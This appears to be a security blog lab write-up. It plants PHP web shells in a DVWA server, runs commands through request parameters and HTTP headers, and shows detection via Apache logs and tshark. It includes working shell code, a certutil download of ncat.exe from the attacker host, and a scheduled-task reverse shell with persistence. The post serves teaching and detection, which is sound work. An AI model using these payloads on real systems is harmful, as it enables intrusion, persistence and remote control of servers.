C:\xampp\apache\logs>type access.log
10.0.0.101 - - [01/Sep/2021:22:54:38 -0400] "GET /dvwa/vulnerabilities/exec/main.php HTTP/1.1" 200 29 "-" "curl/7.74.0"

At this point in time, the question to be answered in this example, is whether or not "main.php" should be on this server. Looking at the timestamp for this file and comparing it to the other files should be helpful. Maybe looking for files which were created within a particular date and or time range might be helpful since most of the files on the web server may be static. Below I'm using the "forfiles" command, to find all files which are less than 0 days old. The results returned "main.php" as expected.

C:\xampp\apache\logs>forfiles /P c:\xampp\htdocs\DVWA\vulnerabilities /M * /S /C "cmd /c if @isdir==FALSE echo @path : @fsize : @fdate : @ftime" /D +0  | more

"c:\xampp\htdocs\DVWA\vulnerabilities\exec\main.php" : 74 : 9/1/2021 : 10:54:46 PM

Using a bit of Powershell to look for files written within the last day

PS C:\Users\SecurityNik> Get-ChildItem -Path C:\xampp\htdocs\DVWA\vulnerabilities\exec\*.* -Recurse  | Where-Object { $_.LastWriteTime -gt (get-date).AddDays(-1)}              

    Directory: C:\xampp\htdocs\DVWA\vulnerabilities\exec


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         9/1/2021  10:54 PM             74 main.php

Now that I have a basic idea of what is doable with the script, let's see which functions are available, that we may be able to take advantage of. The results returned from the next command represents potential vulnerable functions.

<?php
	// Who is this web application running as
	system("whoami");
	
	// Get all internal functions
	$arr = get_defined_functions(TRUE)["internal"];
	
	// Print a list of funtions matching the pattern below
	// There are more in the reference section from Acunetix
	print_r(preg_grep("/^(system|exec|shell_exec|passthru)/", $arr));
?>

Running the command and reviewing the results ...

┌──(root💀securitynik)-[~]
└─# curl --cookie "security=low; PHPSESSID=knc6aiujikoks8f5vqtuc98uc9" --request GET 'http://10.0.0.110/dvwa/vulnerabilities/exec/main.php' 
securitynik-win\securitynik
Array
(
    [354] => exec
    [355] => system
    [358] => passthru
    [359] => shell_exec
)

Leveraging some of the above functions in the script for reconnaissance using the "net.exe" command 

<?php
        // Who is this web application running as
        system("whoami");

        // Get all internal functions
        $arr = get_defined_functions(TRUE)["internal"];

        // Print a list of funtions matching the pattern below
        // There are more in the reference section from Acunetix
        print_r(preg_grep("/^(system|exec|shell_exec|passthru)/", $arr));

        // performing reconnaissance using the net command
        echo shell_exec("net use && net share && net users && net localgroup administrators && net view && net sessions" );
?>


┌──(root💀securitynik)-[~]
└─# curl --cookie "security=low; PHPSESSID=knc6aiujikoks8f5vqtuc98uc9" --request GET 'http://10.0.0.110/dvwa/vulnerabilities/exec/main.php' 
securitynik-win\securitynik
Array
(
    [354] => exec
    [355] => system
    [358] => passthru
    [359] => shell_exec
)
New connections will be remembered.


Status       Local     Remote                    Network

-------------------------------------------------------------------------------
             Y:        \\VBoxSvr\TOOLS           VirtualBox Shared Folders
             Z:        \\VBoxSvr\Downloads       VirtualBox Shared Folders
The command completed successfully.


Share name   Resource                        Remark

-------------------------------------------------------------------------------
C$           C:\                             Default share                     
IPC$                                         Remote IPC                        
ADMIN$       C:\WINDOWS                      Remote Admin                      
FILE-SERVER  C:\FILE-SERVER                  File Server Share with critical...
The command completed successfully.


User accounts for \\SECURITYNIK-WIN

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest                    
SecurityNik              WDAGUtilityAccount       
The command completed successfully.

Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
SecurityNik
The command completed successfully.

Server Name            Remark

-------------------------------------------------------------------------------
\\SECURITYNIK-WIN                                                              
The command completed successfully.

There are no entries in the list.

Good stuff! Next, leveraging the "passthru" function to learn about processes, services, etc.

<?php
        // performing reconnaissance using tasklist and sc
        passthru("tasklist && sc query && schtasks")
?>

We get ...

┌──(root💀securitynik)-[~]
└─# curl --cookie "security=low; PHPSESSID=knc6aiujikoks8f5vqtuc98uc9" --request GET 'http://10.0.0.110/dvwa/vulnerabilities/exec/main.php'

....
Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0          8 K
System                           4 Services                   0        144 K
Registry                        88 Services                   0     78,012 K
smss.exe                       340 Services                   0      1,064 K
csrss.exe                      444 Services                   0      5,252 K
wininit.exe                    516 Services                   0      6,176 K

....

SERVICE_NAME: Appinfo
DISPLAY_NAME: Application Information
        TYPE               : 30  WIN32  
        STATE              : 4  RUNNING 
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

....

Folder: \
TaskName                                 Next Run Time          Status         
======================================== ====================== ===============
GoogleUpdateTaskMachineCore              N/A                    Disabled       
GoogleUpdateTaskMachineUA                N/A                    Disabled       
OneDrive Standalone Update Task v2       9/3/2021 6:07:58 PM    Ready        

.....

Looking at the access.log ...

C:\xampp\apache\logs>type access.log
10.0.0.101 - - [02/Sep/2021:22:36:48 -0400] "GET /dvwa/vulnerabilities/exec/main.php HTTP/1.1" 200 81732 "-" "curl/7.74.0" 

... nothing really suspicious above except probably the number of bytes transferred. In this case "81732" bytes were downloaded by "curl/7.74.0". The two together may prove suspicious, depending on your context.

Rather than specifying commands in the .php file, time to now leverage the "GET" request method to execute commands via a parameter. Modifying the code and removing the previous lines. 

<?php
	// Using the GET method to execute command
	passthru($_GET['cmd']);
?>

Time to run  "whoami /priv" command to get the logged in user as well as the user's privileges.

┌──(root💀securitynik)-[~]
└─# curl --cookie "security=low; PHPSESSID=knc6aiujikoks8f5vqtuc98uc9" --request GET 'http://10.0.0.110/dvwa/vulnerabilities/exec/main.php?cmd=whoami%20/priv'

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State   
========================================= ================================================================== ========
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Disabled
SeSecurityPrivilege                       Manage auditing and security log                                   Disabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Disabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Disabled
SeSystemProfilePrivilege                  Profile system performance                                         Disabled
SeSystemtimePrivilege                     Change the system time                                             Disabled
...

The interesting thing with above and using the GET method, is this is viewable in the logs as seen below. 

C:\xampp\apache\logs>type access.log
10.0.0.101 - - [02/Sep/2021:22:45:51 -0400] "GET /dvwa/vulnerabilities/exec/main.php?cmd=dir HTTP/1.1" 200 562 "-" "curl/7.74.0"
10.0.0.101 - - [02/Sep/2021:22:45:58 -0400] "GET /dvwa/vulnerabilities/exec/main.php?cmd=whoami HTTP/1.1" 200 29 "-" "curl/7.74.0"
10.0.0.101 - - [02/Sep/2021:22:46:07 -0400] "GET /dvwa/vulnerabilities/exec/main.php?cmd=whoami%20/priv HTTP/1.1" 200 3146 "-" "curl/7.74.0"
10.0.0.101 - - [02/Sep/2021:22:46:15 -0400] "GET /dvwa/vulnerabilities/exec/main.php?cmd=whoami%20/priv HTTP/1.1" 200 3146 "-" "curl/7.74.0"

Modifying the script to use the POST method

<?php
	// Using the POST method to execute command
	passthru($_POST['cmd']);
?>

Executing curl to pull back information on the current shares.

┌──(root💀securitynik)-[~]
└─# curl --cookie "security=low; PHPSESSID=knc6aiujikoks8f5vqtuc98uc9" --request POST --data 'cmd=net%20share' 'http://10.0.0.110/dvwa/vulnerabilities/exec/main.php'

Share name   Resource                        Remark

-------------------------------------------------------------------------------
C$           C:\                             Default share                     
IPC$                                         Remote IPC                        
ADMIN$       C:\WINDOWS                      Remote Admin                      
FILE-SERVER  C:\FILE-SERVER                  File Server Share with critical...
The command completed successfully.

While we were able to see the results above, there would be nothing in the "access.log" file that would be helpful with this detection.

10.0.0.101 - - [02/Sep/2021:22:52:37 -0400] "POST /dvwa/vulnerabilities/exec/main.php HTTP/1.1" 200 501 "-" "curl/7.74.0"

The reason nothing is shown above, is because the POST is done via the body rather than the URI.

Modifying the script to take advantage of the "User-Agent" HTTP header to run multiple commands on the compromised host.

<?php
	// Using the Http User-Agent Field
	passthru($_SERVER['HTTP_USER_AGENT']);
?>

Executing curl we get.

┌──(root💀securitynik)-[~]
└─# curl --cookie "security=low; PHPSESSID=knc6aiujikoks8f5vqtuc98uc9" --request GET 'http://10.0.0.110/dvwa/vulnerabilities/exec/main.php' --header "User-Agent: dir && whoami"
 Volume in drive C has no label.
 Volume Serial Number is 6C10-15EA

 Directory of C:\xampp\htdocs\DVWA\vulnerabilities\exec

09/02/2021  10:58 PM    <DIR>          .
09/02/2021  10:58 PM    <DIR>          ..
02/05/2018  02:52 AM    <DIR>          help
02/05/2018  02:45 AM             1,830 index.php
09/02/2021  10:58 PM                84 main.php
09/02/2021  10:42 PM               611 main.php.backup
02/05/2018  02:52 AM    <DIR>          source
               3 File(s)          2,525 bytes
               4 Dir(s)  20,840,591,360 bytes free
securitynik-win\securitynik

Looking at the logs, shows that the "User-agent" which was previously reported as "curl/7.74.0", now contains the various commands executed. Below is a dead giveaway and would be a good time to activate your incident response process. As shown below, "calc" was also executed.

C:\xampp\apache\logs>type access.log
10.0.0.101 - - [02/Sep/2021:22:59:01 -0400] "GET /dvwa/vulnerabilities/exec/main.php HTTP/1.1" 200 - "-" "curl/7.74.0"
10.0.0.101 - - [02/Sep/2021:22:59:14 -0400] "GET /dvwa/vulnerabilities/exec/main.php HTTP/1.1" 200 562 "-" "dir"
10.0.0.101 - - [02/Sep/2021:22:59:22 -0400] "GET /dvwa/vulnerabilities/exec/main.php HTTP/1.1" 200 796 "-" "dir && net view"
10.0.0.101 - - [02/Sep/2021:22:59:54 -0400] "GET /dvwa/vulnerabilities/exec/main.php HTTP/1.1" 200 1136 "-" "dir && net accounts"
10.0.0.101 - - [02/Sep/2021:23:00:30 -0400] "GET /dvwa/vulnerabilities/exec/main.php HTTP/1.1" 200 591 "-" "dir && whoami"
10.0.0.101 - - [02/Sep/2021:23:00:54 -0400] "GET /dvwa/vulnerabilities/exec/main.php HTTP/1.1" 200 562 "-" "dir && calc"

Using another header option, this time the "Accept" header, to force the web application to download "ncat.exe", create a scheduled tasks (securitynik_ncat) for persistence, query and then start the task and send a shell out (reverse shell) out to my attacking machine. This scheduled task will run every day at 01:00 and ends at 05:00.

Setup a "ncat.exe" listener on my attacking machine on port 443 since this is more likely opened (outgoing) on the firewall.

┌──(root💀securitynik)-[~]
└─#ncat --verbose --listen 443 --keep-open -4 

Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:443

Setup a web server on my attacking machine to host the "ncat.exe" file on port 80, as port 80 is more likely to be open (outgoing) on the firewall

┌──(root💀securitynik)-[~]
└─# python -m SimpleHTTPServer 80                                                                                   1 ⨯
Serving HTTP on 0.0.0.0 port 80 ...

With the infrastructure inplace, leverage Curl.

┌──(root💀securitynik)-[~]
└─# curl --cookie "security=low; PHPSESSID=knc6aiujikoks8f5vqtuc98uc9" --request GET 'http://10.0.0.110/dvwa/vulnerabilities/exec/main.php' --header 'Accept: dir && certutil -URLcache -f http://10.0.0.101:80/ncat.exe ncat.exe && dir ncat.exe && schtasks /create /TN securitynik_ncat /TR "C:\xampp\htdocs\DVWA\vulnerabilities\exec\ncat.exe --exec cmd.exe 10.0.0.101 443 -4" /SC daily /ST 01:00 /ET 05:00 /F && schtasks /query /TN securitynik_ncat && schtasks /Run /TN securitynik_ncat /I'

Once the above is sent, first check to see if "ncat.exe" was requested 

┌──(root💀securitynik)-[~]
└─# python -m SimpleHTTPServer 80                                                                                   1 ⨯
Serving HTTP on 0.0.0.0 port 80 ...
10.0.0.110 - - [03/Sep/2021 22:11:58] "GET /ncat.exe HTTP/1.1" 200 -
10.0.0.110 - - [03/Sep/2021 22:11:58] "GET /ncat.exe HTTP/1.1" 200 -

Looks good above. The file was requested.

Looking now at the output from curl and we see ...

Volume in drive C has no label.
 Volume Serial Number is 6C10-15EA

 Directory of C:\xampp\htdocs\DVWA\vulnerabilities\exec

09/03/2021  10:09 PM    <DIR>          .
09/03/2021  10:09 PM    <DIR>          ..
02/05/2018  02:52 AM    <DIR>          help
02/05/2018  02:45 AM             1,830 index.php
09/02/2021  11:12 PM                80 main.php
09/02/2021  10:42 PM               611 main.php.backup
02/05/2018  02:52 AM    <DIR>          source
               3 File(s)          2,521 bytes
               4 Dir(s)  20,809,838,592 bytes free
****  Online  ****
CertUtil: -URLCache command completed successfully.
 Volume in drive C has no label.
 Volume Serial Number is 6C10-15EA

 Directory of C:\xampp\htdocs\DVWA\vulnerabilities\exec

09/03/2021  10:10 PM         1,667,584 ncat.exe
               1 File(s)      1,667,584 bytes
               0 Dir(s)  20,808,167,424 bytes free
SUCCESS: The scheduled task "securitynik_ncat" has successfully been created.

Folder: \
TaskName                                 Next Run Time          Status         
======================================== ====================== ===============
securitynik_ncat                         N/A                    Ready          
SUCCESS: Attempted to run the scheduled task "securitynik_ncat".

Nice, looks like the task was created and the system reported it ran successfully. Time to confirm a shell was written and that I can now use that shell. 

┌──(root💀securitynik)-[~]
└─# ncat --verbose --listen 443 --keep-open -4 
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.0.0.110.
Ncat: Connection from 10.0.0.110:2624.
Microsoft Windows [Version 10.0.18363.1198]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>netstat -anop tcp | findstr /i 443
netstat -anop tcp | findstr /i 443
  TCP    0.0.0.0:443            0.0.0.0:0              LISTENING       7808
  TCP    10.0.0.110:2624        10.0.0.101:443         ESTABLISHED     6772

C:\WINDOWS\system32>

Nice, not only was a shell gotten but I was also able to execute the "netstat -anop tcp | findstr /i 443" command within the shell.

Looking at the access.log file, we see ...

C:\xampp\apache\logs>type access.log
10.0.0.101 - - [03/Sep/2021:21:49:02 -0400] "GET /dvwa/vulnerabilities/exec/main.php HTTP/1.1" 200 330 "-" "curl/7.74.0"
10.0.0.101 - - [03/Sep/2021:21:56:47 -0400] "GET /dvwa/vulnerabilities/exec/main.php HTTP/1.1" 200 330 "-" "curl/7.74.0"
10.0.0.101 - - [03/Sep/2021:22:05:37 -0400] "GET /dvwa/vulnerabilities/exec/main.php HTTP/1.1" 200 914 "-" "curl/7.74.0"
10.0.0.101 - - [03/Sep/2021:22:06:39 -0400] "GET /dvwa/vulnerabilities/exec/main.php HTTP/1.1" 200 914 "-" "curl/7.74.0"
10.0.0.101 - - [03/Sep/2021:22:10:53 -0400] "GET /dvwa/vulnerabilities/exec/main.php HTTP/1.1" 200 1315 "-" "curl/7.74.0"

Basically above there is nothing special occurring, unless the size 1315 stands out enough to you.

As you might have recognized by now, relying on logs alone will not allow you to tell the whole story. You may also have to perform host based forensics to be able to come to a good conclusion about what transpired. Since we know ... packets or it did not happen and packets don't like, then you are better off showing me the packets. lLooking at the packets we can learn a lot more. 

First up, TCP conversations ....

┌──(root💀securitynik)-[~]
└─# tshark -n -r webshell.pcap -z conv,tcp -q
================================================================================                                                          
TCP Conversations                                                                                                                         
Filter:<No Filter>                                                                                                                        
                                                           |       <-      | |       ->      | |     Total     |    Relative    |   Duration   |      
                                                           | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |
10.0.0.110:2623            <-> 10.0.0.101:80                   64 1,671kB        79 5,328bytes     143 1,676kB       0.268393000         0.0461
10.0.0.110:2622            <-> 10.0.0.101:80                   57 1,671kB        57 3,924bytes     114 1,675kB       0.184055000         0.0306
10.0.0.110:2624            <-> 10.0.0.101:443                  11 712bytes       11 1,032bytes      22 1,744bytes     1.102963000       572.6485
10.0.0.101:59710           <-> 10.0.0.110:80                    5 1,844bytes       6 873bytes       11 2,717bytes     0.000000000         0.6238
================================================================================

From above, the 3rd record with the 572.6485 duration stands out. You can also see in both the first and second conversations, there are more bytes going out "->" than coming in "<-"

Let's peak into that to see what transpired in the third session.

┌──(root💀securitynik)-[~]
└─# tshark -n -r webshell.pcap -q -z follow,tcp,ascii,10.0.0.110:2624,10.0.0.101:443                                                                  
===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 10.0.0.110 and tcp.srcport eq 2624) and (ip.dst eq 10.0.0.101 and tcp.dstport eq 443)) or ((ip.src eq 10.0.0.101 and tcp.srcport eq 443) and (ip.dst eq 10.0.0.110 and tcp.dstport eq 2624))
Node 0: 10.0.0.110:2624
Node 1: 10.0.0.101:443
43
Microsoft Windows [Version 10.0.18363.1198]
78

(c) 2019 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>
        35
netstat -anop tcp | findstr /i 443

35
netstat -anop tcp | findstr /i 443

154
  TCP    0.0.0.0:443            0.0.0.0:0              LISTENING       7808
  TCP    10.0.0.110:2624        10.0.0.101:443         ESTABLISHED     6772

2


20
C:\WINDOWS\system32>
        5
exit

5
exit

===================================================================

Looking at another stream of interest, we see ...

┌──(root💀securitynik)-[~]
└─# tshark -n -r webshell.pcap -q -z follow,tcp,ascii,10.0.0.101:59710,10.0.0.110:80
===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 10.0.0.101 and tcp.srcport eq 59710) and (ip.dst eq 10.0.0.110 and tcp.dstport eq 80)) or ((ip.src eq 10.0.0.110 and tcp.srcport eq 80) and (ip.dst eq 10.0.0.101 and tcp.dstport eq 59710))
Node 0: 10.0.0.101:59710
Node 1: 10.0.0.110:80
493
GET /dvwa/vulnerabilities/exec/main.php HTTP/1.1
Host: 10.0.0.110
User-Agent: curl/7.74.0
Cookie: security=low; PHPSESSID=knc6aiujikoks8f5vqtuc98uc9
Accept: dir && certutil -URLcache -f http://10.0.0.101:80/ncat.exe ncat.exe && dir ncat.exe && schtasks /create /TN securitynik_ncat /TR "C:\xampp\htdocs\DVWA\vulnerabilities\exec\ncat.exe --exec cmd.exe 10.0.0.101 443 -4" /SC daily /ST 01:00 /ET 05:00 /F && schtasks /query /TN securitynik_ncat && schtasks /Run /TN securitynik_ncat /I


        1514
HTTP/1.1 200 OK
Date: Sat, 04 Sep 2021 02:10:53 GMT
Server: Apache/2.4.29 (Win32) OpenSSL/1.1.0g PHP/7.2.1
X-Powered-By: PHP/7.2.1
Content-Length: 1315
Content-Type: text/html; charset=UTF-8

 Volume in drive C has no label.
 Volume Serial Number is 6C10-15EA

 Directory of C:\xampp\htdocs\DVWA\vulnerabilities\exec

09/03/2021  10:09 PM    <DIR>          .
09/03/2021  10:09 PM    <DIR>          ..
02/05/2018  02:52 AM    <DIR>          help
02/05/2018  02:45 AM             1,830 index.php
09/02/2021  11:12 PM                80 main.php
09/02/2021  10:42 PM               611 main.php.backup
02/05/2018  02:52 AM    <DIR>          source
               3 File(s)          2,521 bytes
               4 Dir(s)  20,809,838,592 bytes free
****  Online  ****
CertUtil: -URLCache command completed successfully.
 Volume in drive C has no label.
 Volume Serial Number is 6C10-15EA

 Directory of C:\xampp\htdocs\DVWA\vulnerabilities\exec

09/03/2021  10:10 PM         1,667,584 ncat.exe
               1 File(s)      1,667,584 bytes
               0 Dir(s)  20,808,167,424 bytes free
SUCCESS: The scheduled task "securitynik_ncat" has successfully been created.

Folder: \
TaskName                                 Next Run Time          Status         
======================================== ====================== ===============
securitynik_ncat                         N/A                    Ready          
SUCCESS: Attempted to run the scheduled task "securitynik_ncat".

===================================================================

Once again, everything is in the packet. If we look closely above in the HTTP header from the client, we see that the "Accept" header is where the nefarious activity originated. Do note, other header options could also be used.

If you are monitoring your logs, looking at the IP addresses from which traffic is coming, the frequency as well as the time of the occurrences, may provide insights also into a potential issue. Look also for large number of entries within a particular period of time.

Ok that's it for this post. I've solidify my understanding of web shells. Time to look at Weevely in the next post.

References:

https://us-cert.cisa.gov/ncas/alerts/TA15-314A

https://www.microsoft.com/security/blog/2021/02/11/web-shell-attacks-continue-to-rise/

https://www.securitynik.com/2017/02/beginning-web-application-testing-os.html

https://www.securitynik.com/2017/02/beginning-web-application-testing_5.html

https://stackoverflow.com/questions/9234207/search-by-date-using-command-line

https://ss64.com/nt/forfiles.html

https://www.acunetix.com/blog/articles/introduction-web-shells-part-1/

https://www.acunetix.com/blog/articles/web-shells-101-using-php-introduction-web-shells-part-2/

https://www.acunetix.com/blog/articles/keeping-web-shells-undercover-an-introduction-to-web-shells-part-3/

https://www.acunetix.com/blog/articles/web-shells-action-introduction-web-shells-part-4/

https://www.acunetix.com/blog/articles/detection-prevention-introduction-web-shells-part-5/

https://techcommunity.microsoft.com/t5/azure-sentinel/web-shell-threat-hunting-with-azure-sentinel-and-microsoft/ba-p/1448065

https://www.php.net/manual/en/function.get-defined-functions.php

https://www.php.net/manual/en/function.preg-grep.php

https://owasp.org/www-pdf-archive/ASDC12-Old_Webshells_New_Tricks_How_Persistent_Threats_haverevived_an_old_idea_and_how_you_can_detect_them.pdf

https://www.1337pwn.com/best-php-web-shells/

https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html

https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html

https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-china-chopper.pdf

Serious Security: Webshells explained in the aftermath of HAFNIUM attacks – Naked Security (sophos.com)